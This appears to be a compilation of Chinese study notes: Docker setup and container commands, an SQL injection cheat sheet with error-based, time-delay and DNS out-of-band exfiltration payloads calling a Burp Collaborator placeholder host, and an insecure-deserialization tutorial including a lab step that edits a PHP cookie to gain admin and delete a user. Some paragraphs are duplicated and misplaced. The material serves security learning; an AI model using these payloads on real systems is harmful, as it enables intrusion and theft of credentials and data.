docker安装

  1. 关闭安全程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
systemctl stop firewalld
systemctl stop iptables
systemctl disable firewalld
systemctl disable iptable
iptables -F

查看selinux是否关闭
getenforce
如果看到是disabled就说明关闭了
如果看到enforcing就证明开着

修改
sed -i '7s#enforcing#disabled#g' /etc/selinux/config
生效
setenforce 0
  1. 让时间同步

1
2
3
4
5
6
7
8
9
yum install -y ntp ntpdate
ntpdate cn.pool.ntp.org

执行计划任务
crontab -e
* * * * * /usr/sbin/ntpdate cn.pool.ntp.org &>/dev/null

重启计划任务
systemctl restart crond
  1. 安装基础依赖程序

1
2
yum clean all && yum makecache
yum install -y device-mapper-persistent-data lvm2 wget net-tools nfs-utils lrzsz gcc gcc-c++ make cmake libxml2-devel openssl-devel curl curl-devel unzip sudo ntp libaio-devel wget vim ncurses-devel autoconf automake zlib-devel  python-devel epel-release openssh-server socat  ipvsadm conntrack telnet ipvsadm yum-utils
  1. 安装阿里云docker源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

安装docker:
yum install docker-ce -y

安装完毕后可以执行
docker version
查看docker版本

启动并开机运行docker
systemctl start docker && systemctl enable docker

检查docker是否启动成功
systemctl status docker
看到running就是成功了
  1. 修改内核参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
modprobe br_netfilter
cat > /etc/sysctl.d/docker.conf <<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF

修改完查看确认无误
cat /etc/sysctl.d/docker.conf

生效:
sysctl -p /etc/sysctl.d/docker.conf

确认内核状态
lsmod | grep br_netfilter

重启后会失效,为了防止此情况
vim /etc/sysconfig/modules/br_netfilter.modules
编写内容:
modprobe br_netfilter
保存退出

给他执行权限
chmod +x /etc/sysconfig/modules/br_netfilter.modules

创建一个脚本文件:
vim /etc/rc.sysinit
内容:
#!/bin/bash
for file in /etc/sysconfig/modules/*.modules
do
[ -x $file ] && $file
done
保存退出
可以通过reboot命令重启服务器查看是否生效

本文参考:

镜像操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#能够连接镜像仓库情况下:
docker search centos #找到相关镜像
#然后:
docker pull centos #将镜像直接下载到docker里面
docker images #查看镜像

#现在docker官方镜像仓库不可用,只能使用离线镜像:
#如何使用离线镜像:
#首先将镜像上传到服务器
rz -be上传镜像文件
#上传完毕后,上载到docker里
#容器镜像压缩包不要用tar命令进行解压,要用docker load加载及解压镜像压缩包
docker load -i centos.tar.gz

#查看镜像:
docker images
#删除镜像:
docker rmi [镜像名字]或[镜像ID] [镜像名字]或[镜像ID] ......

镜像加速

我用了国内镜像源也没用,最后用的本机代理。如果有代理的话直接用代理吧。

更改国内源:

1
2
3
4
5
6
7
8
9
sudo mkdir -p /etc/docker
vim /etc/docker/daemon.json
添加如下内容:
{
"registry-mirrors":["https://a88u1jg4.mirror.aliyuncs.com","https://docker.lmirror.top","https://docker.m.daocloud.io","https://hub.uuuabc.top","https://docker.anyhub.us.kg","https://dockerhub.jobcher.com","https://dockerhub.icu","https://docker.ckyl.me","https://docker.awsl9527.cn","https://docker.laoex.link"]
}
保存退出
systemctl daemon-reload
systemctl restart docker

使用代理:

1
2
3
4
5
6
7
8
9
10
11
12
13
sudo mkdir -p /etc/systemd/system/docker.service.d
vim /etc/systemd/system/docker.service.d/http-proxy.conf

#添加内容:
[Service]
Environment="HTTP_PROXY=http://user:password@ip:port/"
Environment="HTTPS_PROXY=http://user:password@ip:port/"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"
#注意改成自己的代理ip和端口,如果没有密码去掉“user:password@”

#刷新配置并重启 docker 服务
sudo systemctl daemon-reload
sudo systemctl restart docker

容器操作:

基础操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#进入一个镜像容器
docker run --name 容器名称(自己取) -it centos(镜像的名称) /bin/bash(调用环境)
#退出容器
exit
此时退出后,容器就会停止运行

#查看所有的容器,包括停止的
docker ps -a

#删除容器
docker rm [镜像名字]或[镜像ID] #(名称不能重复)
#守护形式容器(-d 不会退出就关闭)
docker run --name=xiaoA -td centos /bin/bash

#查看正在运行的容器
docker ps

#进入正在运行的容器
docker exec -it xiaoA /bin/bash
#开启
docker start 容器名(容器ID) 容器名(容器ID) ......
#重启
docker restart 容器名(容器ID) 容器名(容器ID) ......
#停止容器
docker stop 容器名(容器ID) 容器名(容器ID) ......
#强制停止正在运行的容器:
docker kill 容器名(容器ID) 容器名(容器ID) ......
#关闭所有容器:
docker stop $(docker ps -a -q)
#删除所有容器:
docker rm $(docker ps -a -q)
#删除所有镜像
docker rmi $(docker images -q)
#查看容器日志
docker logs 容器名(容器ID)

拓展:

1
2
3
4
5
docker cp sourcePath ${containerId}:destinationPath #宿主机拷贝到容器
docker cp ${containerId}:sourcePath destinationPath #容器拷贝到宿主机
docker commit ${containerId} imageName:version #保存一个容器为镜像
docker save -o destinationPath imageName #保存image方便传输
docker load -i sourcePath #加载一个文件到image

文件持久化存储

1
2
3
4
5
6
7
8
9
10
11
#创建一个目录
mkdir ~/xiaoX_data
#新建一个容器
docker run --name xiaoC -v ~/xiaoX_data:/data -itd centos /bin/bash
#进入容器
docker exec -it xiaoC /bin/bash
cd /data
#创建一些文件
echo abc >> 1.txt
#通过另一个终端,可以看到文件会出现在/root/xiaoX_data/下面
#所以该文件不会丢失

如何创建自定义容器

1
2
3
4
5
6
#先创建一个放dockerfile的文件夹
mkdir -p /root/dockerfile/inter-image
#进入创建的文件夹
cd /root/dockerfile/inter-image
#创建dockerfile(必须叫这个名字)
touch dockerfile

老师给的dockerfile内容如下:

1
2
3
4
5
6
7
FROM centos
RUN sed -i "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-*
RUN sed -i "s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g" /etc/yum.repos.d/CentOS-*
RUN yum install wget -y
RUN yum install nginx -y
EXPOSE 80
CMD /bin/bash

但是我一直下载不了centos:latest,所以做了改动:

1
2
3
4
5
6
7
8
9
10
11
12
FROM centos:7
# 修复基础仓库地址
RUN sed -i \
-e "s|mirrorlist=|#mirrorlist=|g" \
-e "s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g" \
/etc/yum.repos.d/CentOS-*
# 安装 EPEL 仓库(nginx所在仓库)
RUN yum install -y epel-release
# 安装所需软件(合并命令减少层数)
RUN yum install -y wget nginx
EXPOSE 80
CMD /bin/bash # 保持前台运行

保存上面内容后退出

1
docker build -t "inter-image" .  #构建镜像

构建完毕以后该镜像就会生成到docker里

1
2
3
4
5
6
7
8
9
docker images  #查看镜像
docker save -o 名字.tar.gz 镜像名字
docker save -o inter-image.tar.gz inter-image
docker run --name inter-image -v ~/dataxiaoE:/data -itd inter-image /bin/bash #构建一个容器
docker exec -it inter-image /bin/bash #进入容器
/usr/sbin/nginx -t #开启nginx服务
ip a
curl ip:80 #访问到nginx欢迎页面
exit #退出

容器之间互联

ip互联

基于上面创建的inter-image镜像分别启动容器test1和test2,并进入到容器中。

查询ip地址即可互联

image-20250710214550350

开启nginx服务后也可以通过 curl 命令连

image-20250710220009917

网络别名互联

定义网络别名(防止容器ip变化了,导致我们访问不到)

1
2
3
4
docker run --name test3 -td inter-image  #创建一个测试容器
docker run --name test4 -td --link=test3:webtest inter-image #创建别名容器
docker exec -it test4 /bin/bash #进入别名容器
ping webtest #就可以无视test3容器IP变化

image-20250710205010145

docker的网络权限

host模式:

1
2
3
4
docker run --name host -it --net=host --privileged=true centos:7
ip a #发现和本机的IP一样
exit #退出
docker rm host #删除容器

none模式:

1
2
3
4
docker run -td --name none --net=none --privileged=true centos:7
docker exec -it none /bin/bash
ip a #发现只有lo网卡
exit #退出

如何判断是否为docker环境

可以通过:cat /proc/1/cgroup命令查看内容

image-20250710223300288

也可以通过ls -alh /.dockerenv查看是否有容器环境文件

1
2
3
4
5
[root@92a79e791862 /]# ls -a /
. .dockerenv bin dev home lib64 mnt proc run srv tmp var
.. anaconda-post.log boot etc lib media opt root sbin sys usr
[root@92a79e791862 /]# ls -a /.dockerenv
/.dockerenv

本文参考:

本 SQL 注入小抄包含有用语法的示例,您可以使用这些语法执行各种任务,这些任务在执行 SQL 注入攻击时经常会出现。


表结构差异

数据库类型关键信息泄露点/系统表特点与注意事项
MySQLinformation_schema (schemata, tables, columns)MySQL 5.0+才有information_schema。盲注时常用length()substr()ascii()函数逐字符猜解。
PostgreSQLpg_database, information_schema.tables, pg_user/pg_shadow权限控制通常较严格。可利用美元符号引用$$$tag$绕过引号过滤。可使用CHR()函数进行字符串拼接绕过引号。
SQL Serversys.databases, sys.tables, sys.columns, sys.sql_logins注意权限提升。若支持外部连接,可用Navicat等工具直接连接导出。MSSQL没有LIMIT语法,可用TOP和子查询模拟。
Oracleall_tables, all_tab_columns, all_users语法要求严格。双查询在Oracle中较少见。盲注时常用DECODE()函数结合SIGN()等函数进行逻辑判断。

字符串拼接

合并多字符串生成新字符串:

数据库语法示例
Oracle`‘foo’
Microsoft'foo'+'bar'
PostgreSQL`‘foo’
MySQL'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar')

字符串拼接方法差异总表

数据库主要操作符/方法示例关键特点与利用技巧
MySQLCONCAT()CONCAT('12', '34')'1234'最常用。参数可多个。任一参数为NULL则返回NULL
空格'12' '34''1234'简便,但可读性差,在注入中不易出错。
CONCAT_WS()CONCAT_WS('-', 'a', 'b')'a-b'忽略NULL。用指定分隔符连接,非常适合注入。
PostgreSQL双管操作符 ``
CONCAT()CONCAT('12', '34')'1234'类似MySQL,忽略NULL参数
FORMAT()FORMAT('Hello %s', 'PostgreSQL')功能强大,类似printf,可用于复杂拼接。
SQL Server加号操作符 +'12' + '34''1234'最常用、最标准的方法。
CONCAT()CONCAT('12', '34')'1234'忽略NULL(与+不同)。2012及以上版本支持。
FORMAT()FORMAT(123456789, '##-##-#####')用于格式化,非简单拼接。
Oracle双管操作符 ``
CONCAT()CONCAT('12', '34')'1234'只接受两个参数。多用`

子字符串截取

从偏移位置截取指定长度(偏移索引从1开始),以下示例均返回 ba

数据库语法示例
OracleSUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

注释语法

截断后续查询语句:

数据库语法示例
Oracle--comment
Microsoft--comment/*comment*/
PostgreSQL--comment/*comment*/
MySQL#comment-- comment 【双破折号后需空格】或 /*comment*/

数据库版本探测

数据库语法示例
OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

数据库内容枚举

你可以列出数据库中存在的表,以及这些表包含的列。

数据库语句
OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

列出所有表:

1
2
3
4
5
-- Oracle
SELECT * FROM all_tables

-- Microsoft/PostgreSQL/MySQL
SELECT * FROM information_schema.tables

查看表字段:

1
2
3
4
5
-- Oracle
SELECT * FROM all_tab_columns WHERE table_name = '表名'

-- Microsoft/PostgreSQL/MySQL
SELECT * FROM information_schema.columns WHERE table_name = '表名'

条件触发错误

你可以测试单个布尔条件,如果条件为真,则触发数据库错误:

数据库语法示例
OracleSELECT CASE WHEN (条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (条件) THEN 1/0 ELSE NULL END
PostgreSQLSELECT 1 WHERE 1=(SELECT CASE WHEN (条件) THEN 1/(SELECT 0) ELSE NULL END)
MySQLSELECT IF(条件,(SELECT table_name FROM information_schema.tables),'a')

通过可见错误消息提取数据

你可以测试单个布尔条件,如果条件为真,则触发数据库错误。

数据库语句
MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQLSELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"
MySQLSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'

批量(或堆叠)查询

你可以使用批处理查询来连续执行多个查询。请注意,在执行后续查询时,结果不会返回给应用程序。因此,这种技术主要用于盲注漏洞,在这种情况下,你可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。

数据库语法
OracleDoes not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLQUERY-1-HERE; QUERY-2-HERE

使用 MySQL 时,批量查询通常无法用于 SQL 注入。然而,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库进行通信,偶尔也有可能实现。

基于时间延迟的注入

当查询被处理时,你可以在数据库中造成时间延迟。以下操作将导致无条件的 10 秒时间延迟。

无条件延迟(10秒):

数据库语法示例
Oracledbms_pipe.receive_message('a',10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT SLEEP(10)

你可以测试单个布尔条件,如果条件为真,则触发时间延迟。

条件延迟:

1
2
3
4
5
6
7
8
9
10
11
-- Oracle
SELECT CASE WHEN (条件) THEN 'a'||dbms_pipe.receive_message('a',10) ELSE NULL END FROM dual

-- Microsoft
IF (条件) WAITFOR DELAY '0:0:10'

-- PostgreSQL
SELECT CASE WHEN (条件) THEN pg_sleep(10) ELSE pg_sleep(0) END

-- MySQL
SELECT IF(条件, SLEEP(10), 'a')

DNS外带数据泄露

你可以让数据库对外部域名执行 DNS 查找。为此,你需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域名,用于攻击,然后轮询 Collaborator 服务器,确认是否发生了 DNS 查找。

数据库语法示例
Oracle(XXE)漏洞触发 DNS 查找。该漏洞已被修补,但仍有许多未打补丁的Oracle安装实例存在:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual以下技术适用于完全打补丁的Oracle安装,但需要提升权限:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
MySQLThe following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

防御建议:关键措施

  1. 参数化查询:强制使用预编译语句(Prepared Statements)

  2. 最小权限原则:数据库账户禁止高阶权限(如DROP/EXECUTE)

  3. 输入过滤:对特殊字符(';--)进行严格转义

  4. 错误处理:禁用详细数据库错误回显

  5. Web防火墙:部署WAF拦截常见注入特征

报错注入

数据库类型核心利用函数/方法触发原理经典Payload示例 (以获取版本为例)关键技巧与注意事项
MySQLupdatexml()利用XPATH语法错误AND updatexml(1, concat(0x7e, (SELECT version())), 1)长度限制:~32字符,用substr()分块获取。 使用concat(0x7e, ...)0x7e(~)是非法XPATH字符,保证触发错误,并作为数据起始标志。
extractvalue()利用XPATH语法错误AND extractvalue(1, concat(0x7e, (SELECT version())))updatexml
floor() + rand() + group by重复键错误AND (SELECT 1 FROM (SELECT count(*), concat(version(), floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)无长度限制,但语句复杂,易出错。rand(0)*2是关键。
PostgreSQL类型转换错误 CAST()故意将字符串转为数值类型AND 1 = CAST((SELECT version()) AS NUMERIC)简单粗暴。常与子查询结合。 权限要求:普通用户可能无法访问某些系统函数。
除零错误 1/0利用条件语句触发计算错误AND CASE WHEN 1=1 THEN 1/0 ELSE 1 END需能执行条件判断。CASE语句非常有用。
Microsoft SQL Server类型转换错误 CONVERT() / CAST()类似PostgreSQLAND 1 = CONVERT(INT, (SELECT @@version))错误信息非常详细,常包含完整SQL语句和值,极易利用。
利用函数参数错误传入无效参数触发错误AND SUSER_NAME(1/0) AND db_name(1/0)探索各种系统函数的边界情况。
Oraclectxsys.driload.validate_stmt()函数参数解析错误AND 1=ctxsys.driload.validate_stmt((SELECT banner FROM v$version WHERE rownum=1))需要CTXSYS权限,但常被授予。
utl_inaddr.get_host_name()解析无效主机名错误AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))需要网络权限,常未授予。
dbms_utility.sqlid_to_sqlhash()参数解析错误AND 1=dbms_utility.sqlid_to_sqlhash((SELECT user FROM dual))11gR2及以上版本可用。

总结用于渗透测试

  1. 指纹识别:首先通过@@versionversion()v$version等快速判断数据库类型,选择正确的攻击路径。

  2. Payload选择

    • MySQL:优先尝试updatexml(1,concat(0x7e,(PAYLOAD)),1)
    • PostgreSQL/MSSQL:优先尝试类型转换AND 1=CAST((PAYLOAD) AS NUMERIC/INT)
    • Oracle:尝试ctxsys.driload.validate_stmt或“重复键”技巧。
  3. 最大化利用

    • 使用聚合函数(如group_concatstring_agg)一次性获取多行数据。
    • 在Payload中嵌入复杂查询,直接获取密码哈希、Token等核心资产。

语法详解

报错注入

1. MySQL: 使用 updatexml / extractvalue 进行高效数据提取

这是MySQL报错注入的首选方法,因为它语句简单,可靠性高。

  • Payload构造剖析

    sql

1
AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
  • updatexml():MySQL的XML处理函数。

  • 1:正常的XPATH路径。

  • concat(0x7e, (...), 0x7e):这是关键0x7e~)不是合法的XPATH字符,它的插入必然会引发XPATH语法错误。错误信息会包含整个concat的结果,即~database_name~,从而暴露数据。

  • 1:正常的替换值。

绕过GROUP BY等关键字过滤:如果updatexml被WAF拦截,可以尝试使用json_extractjson_search等JSON函数,其原理类似,都是利用非法JSON路径触发错误。

sql

  • AND json_extract('{}', concat('$.', (SELECT version())))
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    #### **2. PostgreSQL: 灵活运用类型转换**

    PostgreSQL的类型系统非常严格,这为报错注入提供了便利。

    - **Payload构造剖析**:

    sql

    - ```
    AND 1 = CAST((SELECT string_agg(table_name, ',') FROM information_schema.tables) AS INT)
    - 子查询`(SELECT ...)`会先执行,获取一个字符串结果(例如`users,products,config`)。 - `CAST(... AS INT)`试图将这个字符串转换为整数,必然失败,并在错误信息中包含这个字符串本身。

3. Microsoft SQL Server: 详尽的错误信息

MSSQL的错误信息通常是“最友好”的,经常会直接返回引发错误的变量值。

  • Payload构造剖析

    sql

  • AND 1 = CONVERT(INT, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14

    - 错误信息通常会包含:`Conversion failed when converting the varchar value '**users**' to data type int.`
    - 这样,表名`users`就直接暴露了。

    #### **4. Oracle: 利用权限函数**

    Oracle的报错注入通常依赖于调用有权限要求的高级函数。

    - **Payload构造剖析**:

    sql

    - ```
    SELECT COUNT(*), (SELECT banner FROM v$version WHERE rownum=1) FROM dual GROUP BY (SELECT banner FROM v$version WHERE rownum=1)
    - 这是一个“重复键”错误的变种,利用了`GROUP BY`子句中的子查询。

本文参考:

不安全的反序列化

在本节中,我们将介绍什么是不安全的反序列化,并描述不安全的反序列化如何可能使网站遭受严重攻击。我们将重点介绍典型场景,并使用 PHP、Ruby 和 Java 反序列化的具体示例演示一些广泛适用的技术。我们还将介绍一些可以避免自己的网站出现不安全反序列化漏洞的方法。

什么是序列化?

序列化是将复杂的数据结构(如对象及其字段)转换为 “flatter” 格式的过程,这种格式可以作为连续的字节流发送和接收。数据序列化使以下工作变得更加简单:

  • 将复杂数据写入进程间内存、文件或数据库

  • 通过网络、应用程序不同组件之间或 API 调用等方式发送复杂数据

最重要的是,在序列化对象时,其状态也会被持久化。换句话说,对象的属性及其赋值都会被保留下来。

序列化与反序列化

反序列化是将字节流还原为原始对象的全功能复制品的过程,其状态与序列化时完全相同。然后,网站的逻辑就可以与这个反序列化对象交互,就像与其他对象交互一样。

许多编程语言都为序列化提供本地支持。具体如何序列化对象取决于语言。有些语言将对象序列化为二进制格式,而其他语言则使用不同的字符串格式,其可读性也各不相同。请注意,原始对象的所有属性都会存储在序列化数据流中,包括任何私有字段。要防止某个字段被序列化,必须在类声明中将其明确标记为 “transient” 字段。

请注意,在使用不同的编程语言时,序列化可能被称为 marshalling(Ruby)或 pickling(Python)。这些术语在此处与 “serialization” 同义。

什么是不安全的反序列化?

不安全的反序列化是指网站对用户可控数据进行反序列化。这有可能使攻击者操纵序列化对象,从而将有害数据传递到应用程序代码中。

甚至有可能将序列化后的对象替换为完全不同类的对象。令人担忧的是,网站可用的任何类的对象都会被反序列化和实例化,而不管预期的是哪个类。因此,不安全的反序列化有时被称为 “对象注入 ”漏洞。

一个意外类的对象可能会导致异常。不过,此时破坏可能已经造成。许多基于反序列化的攻击都是在反序列化完成之前完成的。这意味着,即使网站本身的功能不直接与恶意对象交互,反序列化过程本身也可能发起攻击。因此,逻辑基于强类型语言的网站也容易受到这些技术的攻击。

不安全的反序列化漏洞是如何产生的?

不安全的反序列化通常是因为人们普遍缺乏对反序列化用户可控数据的危险性的认识。理想情况下,用户输入根本不应该被反序列化。

不过,有时网站所有者会认为自己很安全,因为他们对反序列化数据实施了某种形式的额外检查。这种方法往往是无效的,因为几乎不可能实施验证或消毒来应对每一种可能发生的情况。这些检查从根本上说也是有缺陷的,因为它们依赖于在数据被反序列化后对其进行检查,而在许多情况下,这已经太晚了,无法阻止攻击。

由于通常认为反序列化对象是可信的,因此也可能出现漏洞。特别是在使用二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。然而,虽然可能需要付出更多努力,但攻击者利用二进制序列化对象的可能性与利用基于字符串格式的对象的可能性一样大。

现代网站中存在大量依赖关系,这也使得基于反序列化的攻击成为可能。一个典型的网站可能实现了许多不同的库,每个库都有自己的依赖关系。这就形成了一个庞大的类和方法池,很难对其进行安全管理。由于攻击者可以创建任何这些类的实例,因此很难预测在恶意数据上可以调用哪些方法。如果攻击者能够将一长串意想不到的方法调用串联起来,将数据传递到与初始源完全无关的汇中,情况就更是如此。因此,要预测恶意数据流并堵住每个潜在漏洞几乎是不可能的。

简而言之,可以说不可能安全地反序列化不受信任的输入。

不安全的反序列化会产生什么影响?

不安全的反序列化可能会造成非常严重的影响,因为它为大量增加的攻击面提供了一个切入点。它允许攻击者以有害的方式重复使用现有的应用程序代码,导致许多其他漏洞,通常是远程代码执行。

即使在不可能执行远程代码的情况下,不安全的反序列化也会导致权限升级、任意文件访问和拒绝服务攻击。

如何利用不安全的反序列化漏洞

现在您已经熟悉了序列化和反序列化的基础知识,我们可以看看如何利用不安全的反序列化漏洞。

利用不安全的反序列化漏洞

在本节中,我们将以 PHP、Ruby 和 Java 反序列化为例,教您如何利用一些常见情况。我们希望展示利用不安全的反序列化实际上比许多人想象的要容易得多。如果您能够使用预构建的小工具链,甚至在黑盒测试中可以做到这一点。

我们还将指导您创建自己的基于反序列化的高严重性攻击。虽然这些攻击通常需要源代码访问权限,但一旦理解了基本概念,学习起来也会比想象中容易。我们将特别介绍以下主题:

  • 如何识别不安全的反序列化 LABS

  • 修改网站期望的序列化对象 LABS

  • 向危险的网站功能传递恶意数据 LABS

  • 注入任意对象类型

  • 串联方法调用以控制进入危险水槽小工具的数据流 LABS

  • 手动创建自己的高级漏洞利用程序 LABS

  • PHAR 反序列化

Note

尽管许多实验和示例都基于 PHP,但大多数开发技术对其他语言也同样适用。

如何识别不安全的反序列化

不管是白盒测试还是黑盒测试,识别不安全的反序列化都相对简单。

在审计过程中,你应该查看所有传入网站的数据,并尝试识别任何看起来像序列化数据的东西。如果了解不同语言使用的格式,序列化数据就能比较容易地识别出来。在本节中,我们将展示 PHP 和 Java 序列化的示例。一旦识别出序列化数据,就可以测试是否能够控制它。

Tip

对于 Burp Suite Professional 的用户,Burp Scanner 会自动标记任何看起来包含序列化对象的 HTTP 消息。

PHP 序列化格式

PHP 使用的大多是人类可读的字符串格式,字母代表数据类型,数字代表每个条目的长度。例如,用户对象的属性为

1
2
$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象的外观可能如下所示:

1
O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}

这可以解释为:

  • O:4: "User" - 具有 4 个字符类名 "User" 的对象

  • 2 - 该对象有 2 个属性

  • s:4: "name" - 第一个属性的键是 4 个字符的字符串 “name”

  • s:6: "carlos" - 第一个属性的值是 6 个字符的字符串 “carlos”

  • s:10: "isLoggedIn" - 第二个属性的键是 10 个字符的字符串 “isLoggedIn”。

  • b:1 - 第二个属性的值是布尔值 true

PHP 序列化的本地方法是 serialize()unserialize()。如果可以访问源代码,就应该先在代码中查找 unserialize(),然后进一步研究。

Java 序列化格式

有些语言(如 Java)使用二进制序列化格式。这种格式更难读取,但如果知道如何识别一些蛛丝马迹,还是可以识别序列化数据的。例如,序列化的 Java 对象总是以相同的字节开始,在十六进制中编码为 aced,在 Base64 中编码为 rO0

任何实现了 java.io.Serializable 接口的类都可以被序列化和反序列化。如果您可以访问源代码,请注意任何使用 readObject() 方法的代码,该方法用于从 InputStream 中读取和反序列化数据。

操作序列化对象

利用某些反序列化漏洞就像更改序列化对象中的一个属性一样简单。由于对象状态是持久化的,因此可以通过研究序列化数据来识别和编辑有趣的属性值。然后,您就可以通过网站的反序列化过程将恶意对象传入网站。这是基本反序列化漏洞利用的第一步。

一般来说,在操作序列化对象时有两种方法。一种是直接编辑字节流形式的对象,另一种是用相应的语言编写简短的脚本,自己创建新对象并将其序列化。在处理二进制序列化格式时,后一种方法通常更为简便。

修改对象属性

在篡改数据时,只要攻击者保留了一个有效的序列化对象,反序列化过程就会创建一个带有修改后属性值的服务器端对象。

举个简单的例子,一个网站使用序列化的 User 对象在 cookie 中存储用户会话数据。如果攻击者在 HTTP 请求中发现了这个序列化对象,他们可能会对其进行解码,发现以下字节流:

1
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

isAdmin 属性是一个明显的关注点。攻击者只需将该属性的布尔值改为 1(true),重新编码对象,然后用修改后的值覆盖当前 cookie 即可。单独来看,这不会产生任何影响。但是,假设网站使用此 cookie 来检查当前用户是否有访问某些管理功能的权限:

1
2
3
4
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

这段有漏洞的代码会根据 cookie 中的数据(包括攻击者修改过的 isAdmin 属性)实例化一个User对象。在任何时候都不会检查序列化对象的真实性。然后,这些数据会被传递到条件语句中,在这种情况下,就可以轻松实现权限升级。

这种简单的情况在实际应用中并不常见。不过,以这种方式编辑属性值,展示了获取不安全反序列化所暴露的大量攻击面的第一步。

Lab:修改序列化对象

本实验使用了基于序列化的会话机制,因此存在权限升级漏洞。要解决该实验问题,请编辑会话 cookie 中的序列化对象,利用此漏洞获得管理权限。然后删除用户 carlos。

  • 使用自己的凭据登录。请注意,登录后的 GET /my-account 请求包含一个会话 cookie,它似乎是 URL 和 Base64 编码的。

  • 使用 Burp 的 Inspector 面板研究请求的解码形式。请注意,cookie 实际上是一个序列化的 PHP 对象。admin 属性包含 b:0,表示布尔值 false。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器再次检查 cookie,并将 admin 属性的值更改为 b:1。点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含了一个指向 /admin 管理面板的链接,表明您已使用管理员权限访问了该页面。

  • 将请求路径改为 /admin,然后重新发送。注意 /admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为 /admin/delete?username=carlos,然后发送请求以解决实验室问题。

修改数据类型

我们已经看到了如何修改序列化对象中的属性值,但也有可能提供意想不到的数据类型。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

如何防止不安全的反序列化漏洞

一般来说,除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,反序列化可能带来的高严重性漏洞,以及防范这些漏洞的难度,都超过了反序列化的好处。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true

不同寻常的是,这也适用于任何以数字开头的字母数字字符串。在这种情况下,PHP 将根据开头的数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something" 实际上被视为 5 == 5

同样,在 PHP 7.x 及更早版本中,比较 0 == "Example string" 的结果为 true,因为 PHP 将整个字符串视为整数 0

